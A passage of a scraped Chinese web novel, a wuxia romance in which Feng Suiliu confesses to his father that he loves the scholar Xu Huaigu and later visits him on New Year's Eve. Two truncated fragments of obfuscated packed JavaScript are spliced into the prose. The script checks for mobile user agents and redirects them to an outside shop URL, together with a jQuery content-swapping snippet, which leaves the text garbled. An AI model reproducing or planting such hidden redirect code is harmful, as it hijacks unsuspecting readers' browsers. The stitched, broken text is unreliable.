l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535432|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 意覆灭青云楼，明帝暗中调派骁卫营协助，既是感念师门情谊，也是为了清除这股祸乱江湖、扰乱朝纲的恶势力。 青云楼的覆灭，不过是神冥教复仇之路的开始。 …… 与此同时，另一边的山洞中，虚怀谷听完柳冥的解释，顿时恍然大悟，连忙重新躬身施礼：“柳前辈，是晚辈唐突了。” 柳冥点了点头。他对虚怀谷并没任何偏见，反而据他得到的消息，正是眼前这名不会一丝武功的文弱青年于沉船之时救了自己的儿子，心底对他既然感激，也有几分欣赏，便客气地道：“虚公子一路也辛苦了。今夜我们便在此歇息一晚，明日一早就启程，尽快回谷再作商议。” 虚怀谷连忙应道：“全听前辈安排。” 柳冥又抬眼看向风随柳，语气里带着几分不容置喙：“去把你的女装换下来吧。” 风随柳没有多言，默默转身走出山洞，上了马车更衣。他原本打算到了灵隐谷外便悄悄换回男装，却没想到竟会被爹爹与兄长提前遇上，这般模样，倒也有些窘迫。 这一夜四人便在山洞中暂且歇息，一夜无扰。第二日天刚蒙蒙亮，便收拾妥当，匆匆赶往灵隐谷。 四人一路疾行，第二日傍晚便抵达到灵隐谷外围的一处小镇。柳冥并未直接将虚怀谷带入谷中，而是将他安顿在镇上一座独立清净的院落里，还特意派了专人前来照料饮食起居，方方面面都安排得妥帖周到。 并非柳冥不信任虚怀谷，而是他看出虚怀谷并非江湖中人，且性子纯善，不喜纷争，他不愿让这个无辜的青年沾染太多江湖因果。更何况，灵隐谷本就是摩耶人的隐世之所，规矩森严，外人本就不得轻易踏入。 虚怀谷对此并无异议。相反，见风随柳已经与父兄团聚，悬着的心终于放了下来，至于住在哪里，于他而言并无差别。只是这一路他与风随柳风雨同舟、朝夕相伴，如今骤然分开，心下颇有几分不舍。 风随柳的心境与他如出一辙，且满心都是牵挂，拉着他的手细细叮嘱道：“这个镇子在灵隐谷的势力范围之内，绝对安全，你尽可放心在此等候。待我恢复了武功，便立刻回来找你。若是有任何事，便让下人带口信给我，我随叫随到。” 虚怀谷轻轻抽回手，温声劝道：“你不必太过挂怀我，尽快恢复武功才是头等大事。这一路奔波劳顿，我也正好在此好好休息整顿一番。” 两人依依惜别，千言万语最终都化作一句叮嘱，风随柳目送虚怀谷走进院落，才转身随父兄一同返回了灵隐谷。 回谷当晚，柳冥便将风随柳单独叫进了书房，房门一关，便彻底卸下了平日里的威严架子，开门见山，直接戳破了他的小心思，语气带着几分探究：“你从玉阳城出发，一路故意绕路、拖延行程，甚至不惜扮成女子，寸步不离地陪着他，看来，你是真的看中这个虚怀谷了？” 风随柳坦然承认，神色平静地道：“是，我心悦于他。” 26.第 26 章 柳冥素来了解儿子。风随柳性格沉稳果断，一旦决定的事不会轻易改变。风家世代修习的绝世功法《逆风大法》有一个最大的弊端，就是不能近女色。而为了延续子嗣传承，神冥教数代之前便与灵隐谷开始联姻，每代神冥教继承人满二十岁便会来谷中寻找伴侣。 当年风随柳二十岁时第一次入灵隐谷寻找意中人，整整在谷中住了半年却一无所获。二十五岁那年第二次入谷，却只是住了三个月便意兴索然地离开。谷中适龄男子众多，且不乏天资卓越、对他有意之人，然风随柳皆没有选择。如今他看中虚怀谷，柳冥却并不乐观。并非他对虚怀谷有意见，相反，正是因为知晓虚怀谷人品、性情皆为上佳，柳冥才不希望他与自己的儿子有过多瓜葛。 他的语气沉了几分，缓缓道：“虚怀谷只是个寻常书生，手无缚鸡之力，不通江湖险恶，更不懂我们灵隐谷的规矩。况且神冥教这些年来虽说行事低调，却也在江湖上树敌无数，风波不断，他跟着你，只会平白卷入这些无妄之灾，徒增危险。这次是他运气好，侥幸脱险，可日后再遇危急，稍有不慎，便会丢了性命。这些，你都替他考虑过吗？” 风随柳微微一滞。不可否认，此次虚怀谷完全是被自己拖累，一路行来才屡次身陷险境。但他只沉默了一瞬，便坚定地道：“我会护着他！” 柳冥伸手指了指他一头乌黑的长发，淡淡地道：“这次遇刺，你自己都是靠散去功力才得以解毒保命。你二人能侥幸逃脱，已是天大的运气。你如何保证下次还有这般运气？” 风随柳的语气没有半分动摇：“这一路追杀，我能护他一次，便能护他一辈子。我会拼尽全力，不让他卷入教中的任何纷争，更不会让他受半分委屈、半分伤害。” 柳冥眉头紧蹙，依旧不认同：“你护得住他一时，护得住他一世吗？江湖风波险恶，仇家暗箭难防，你能时时刻刻、寸步不离地守在他身边吗？他只是个普通人，向往的或许是安稳平淡的生活，而非刀尖上的日子。你有问过他的意愿吗？我看他对你虽有情谊，却绝非男女之情，更像是知己兄弟，他未必愿意与你结为伴侣，共度一生。” 这句话狠狠戳中了风随柳心底最隐秘的顾虑。他无比确定自己的心意，这一路以来，也频频向虚怀谷暗示自己的情意。但虚怀谷对男子之间的情爱颇为懵懂无知，即便对自己有情，也多半是知己间的惺惺相惜、兄弟间的彼此牵挂，远未到自己这般非君不可、生死相依的地步。 他垂眸沉默了片刻，指尖微微蜷缩，再抬眼时，眼神依旧没有半分退缩，执着地道：“这些我都想过。可我不想因为那些还未发生的事情，就放弃眼前我想珍惜的人。我只知道这一路若是没有他，我或许早已沉入江底，走不到这里。至于他对我的情意……”风随柳顿了片刻，才坚定地道：“我会让他心甘情愿，与我相守一生。” 柳冥闻言沉默良久，最终幽幽一叹，道：“情之一字，最易伤人，剪不断理还乱。你既这般执着不悔，我这个做父亲的，便也不再拦你。只是有一事你需谨记，务必尊重他的心意，万不可仗着身份做那强人所难之事，平白伤了彼此情分。” “爹，您放心，孩儿知晓，断不会胡来的。”风随柳听得父亲松口应允，不由心中一松，原本紧绷的眉眼瞬间舒展，嘴角不自觉勾起一抹轻松感激的笑意。 柳冥见状，又好气又好笑，当即没好气地提醒道：“你也莫要高兴得太早！你若执意与他在一起，日后风家子嗣传承一事，便只能压在你身上了，你可想清楚了？” 虚怀谷只是一名寻常男子，自然没有孕育子嗣的能力。可风家世代与摩耶人联姻，血脉早已相融，族中男子皆承袭了异于常人的生育能力，风随柳便是其父风天翼以男子之身辛苦诞下的，这份独有的能力，自然也一分不差地传在了他的身上。 风随柳闻言，脑海里不自觉浮现出日后身怀两人骨血的模样，心头顿时涌出一股向往，右手下意识地轻轻抚上自己的小腹，道：“日后孩儿若是有了身孕，还要劳烦爹爹帮我调养安胎，护我周全。” 柳冥听得这话，额角青筋瞬间绷紧，指着眼前这个不争气的儿子，又气又恼地挥手：“滚滚滚！眼下八字还没一撇，你倒好，直接盘算到日后去了。你就这般迫不及待要为旁人生儿育女吗？” 风随柳丝毫不觉的羞涩惭愧，反而颇为坦然地道：“怎是旁人。我生的孩儿，自是我风家的骨血。” 柳冥无奈扶额，对风家这一脉相承的坦荡厚颜实在无可奈何，只得沉声轰他：“赶紧回房歇息去吧，莫要在此处气我。明日一早，我便为你金针调息，先把损耗的武功恢复了再议其他。” “是，孩儿遵命。爹爹也早些安歇，明日还要劳烦爹爹费心施针，辛苦您了。”风随柳对着柳冥缓缓躬身一礼，姿态优雅，举止从容，没有半分轻狂之态，转身缓步退了出去。 柳冥望着离去的背影，良久后才又沉沉叹了一口气。心中暗自思忖，不知自家这个性子执拗、认定了便不回头的儿子看上虚怀谷，对那虚怀谷而言，究竟是缘还是劫。 想当年风天翼风流不羁，身边男宠无数，若非后来对自己情根深种，解散了后院，收心相守，只怕如今依旧流连花丛，享那齐人之福呢。可风随柳性情与其父风天翼截然不同，性子沉稳甚至略带几分古板，至今莫说成亲，便是连一个近身伺候的人都未曾有过，心性纯粹得很。神冥教家大业大，在江湖中地位显赫，可树大招风，仇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17539780|202478||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家也是不少。虚怀谷一个毫无武功的寻常书生，无依无靠，一旦卷入江湖纷争与神冥教的恩怨之中，往后的路当真是福祸难料。 远在谷外小镇的虚怀谷，对父子二人这番隐秘对话全然不知。他自从在小镇那处院落住下后，一连几日，都过得颇为安稳舒坦。之前一路奔波、提心吊胆的惶恐终于渐渐消散，身心渐渐放松下来。 可安稳放松过后，他深埋心底的思乡之情却愈发浓烈起来。此时距他离开家乡平阳县已经快满三个月了，眼下正逢年关将至，镇上家家户户都在忙着采买年货，门前挂起红灯笼，贴上红春联，处处都在张灯结彩，热闹非凡。屋外也时常响起孩童们追逐打闹的欢笑声，夹杂着零星的爆竹声响，当真处处都是人间烟火的团圆气息。 可这样的热闹喧嚣，越发衬得虚怀谷独居的院落清冷孤寂。虽说柳冥早已安排了下人悉心伺候，可孤身一人身处异乡，终究是有些寂寞孤独了。只是现在风随柳正在谷中治疗调养，虚怀谷无论如何也不能贸然离去，只得每日守在院中读书写字，打发时间。 一晃过了七八日，终于到了除夕这日。镇上家家户户都在忙着过年、祭祖，院里院外皆是忙碌的身影，欢声笑语不绝于耳，唯有虚怀谷这里清冷得发慌。 柳冥安排的下人早已备好了丰盛的年夜饭，将屋内收拾得妥帖周全，如此团圆之日，虚怀谷不忍留他们继续伺候，便打发他们各自回家与亲人团聚过年，只自己一人留在屋内，自斟自饮，独自用膳。 这还是虚怀谷长这么大，第一次独自一人在外过年。从前即便家道中落、父母相继离世，年节之时也有弟弟妹妹环绕身边，一家人相依为命，倒也温暖。更何况村里还有族中长辈、亲朋邻里，母亲那边的娘家舅舅们每年也必要去相聚拜年的。而且他是村里唯一的秀才，更是学堂里的夫子，素来受人敬重，每到年关，登门请他写春联、题祭文的人络绎不绝，整日忙碌不停，没有半分清闲。可如今这般独守空院，对着一桌子酒菜孤自过年，清冷寂寥到了极致，当真是生平头一遭。 他心头琐事萦绕，愁绪渐生，不知不觉便多饮了几杯。下人备好的酒，是镇上顶好的佳酿，实际上是灵隐谷所出，入口清香绵润。他喝了一杯，觉得味道不错，浑身都泛起暖意。反正除夕佳节，喝醉了蒙头大睡便是。 虚怀谷正自饮自酌，微感醉意的时候，忽然听见院门外传来一阵响动，片刻之后，屋门被人轻轻推开，一人头戴斗笠、身披披风，裹着屋外的寒风与清冽的雪气，缓步走了进来。 那人随手摘下头上斗笠，一头霜白长发倾泻而下，露出一张俊美绝俗、清冷出尘的脸。对上虚怀谷怔怔的目光，当即展颜一笑，眉眼温柔，正是风随柳。